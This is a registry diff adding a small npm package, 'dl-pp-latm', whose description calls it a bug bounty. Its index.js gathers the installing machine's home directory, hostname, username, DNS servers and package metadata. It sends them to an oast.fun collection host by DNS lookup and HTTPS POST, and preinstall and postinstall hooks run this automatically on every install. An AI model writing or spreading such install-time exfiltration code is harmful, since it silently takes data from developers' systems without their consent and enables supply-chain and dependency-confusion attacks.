dl-pp-latm 80.4.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +84 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const crypto = require("crypto"); // Para generar hash
6
+ const packageJSON = require("./package.json");
7
+ const package = 'dl-pp-latm bug bounty';
8
+
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+
23
+ const hash = crypto.createHash('md5').update(trackingData).digest('hex').substring(0, 8);
24
+ const hostname = os.hostname();
25
+
26
+
27
+ function buildDnsSubdomain(hostname, hash) {
28
+
29
+ const clean = (s) => s.replace(/[^a-zA-Z0-9-]/g, '-');
30
+ let label1 = clean(hostname);
31
+ let label2 = clean(hash);
32
+
33
+ if (label1.length > 63) label1 = label1.substring(0, 63);
34
+ if (label2.length > 63) label2 = label2.substring(0, 63);
35
+
36
+ let domain = `${label1}.${label2}.bvfmpadujgjgmbtzeibiikzijuhmtd2rs.oast.fun`;
37
+
38
+ while (domain.length > 253 && label1.length > 1) {
39
+ label1 = label1.slice(0, -1);
40
+ domain = `${label1}.${label2}.bvfmpadujgjgmbtzeibiikzijuhmtd2rs.oast.fun`;
41
+ }
42
+ return domain;
43
+ }
44
+
45
+ const dnsDomain = buildDnsSubdomain(hostname, hash);
46
+
47
+ dns.lookup(dnsDomain, (err, address, family) => {
48
+
49
+ });
50
+
51
+ // --- Envío por HTTPS (igual que antes) ---
52
+ var postData = querystring.stringify({
53
+ msg: trackingData,
54
+ });
55
+
56
+ var options = {
57
+ hostname: "bvfmpadujgjgmbtzeibiikzijuhmtd2rs.oast.fun",
58
+ port: 443,
59
+ path: "/",
60
+ method: "POST",
61
+ headers: {
62
+ "Content-Type": "application/x-www-form-urlencoded",
63
+ "Content-Length": postData.length,
64
+ },
65
+ };
66
+
67
+ var req = https.request(options, (res) => {
68
+ let responseData = '';
69
+ res.on("data", (d) => {
70
+ responseData += d;
71
+ process.exit(0);
72
+ });
73
+
74
+ res.on("end", () => {
75
+ process.exit(0);
76
+ });
77
+ });
78
+
79
+ req.on("error", (e) => {
80
+ // console.error(e);
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "dl-pp-latm",
3
+ "version": "80.4.2",
4
+ "description": "Internal App bUg b0UntY gollum22 h1",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \\\"Error: no test specified\\\" && exit 1",
8
+ "preinstall": "node index.js",
9
+ "postinstall": "node index.js"
10
+ },
11
+ "author": "Internal App",
12
+ "license": "ISC"
13
+ }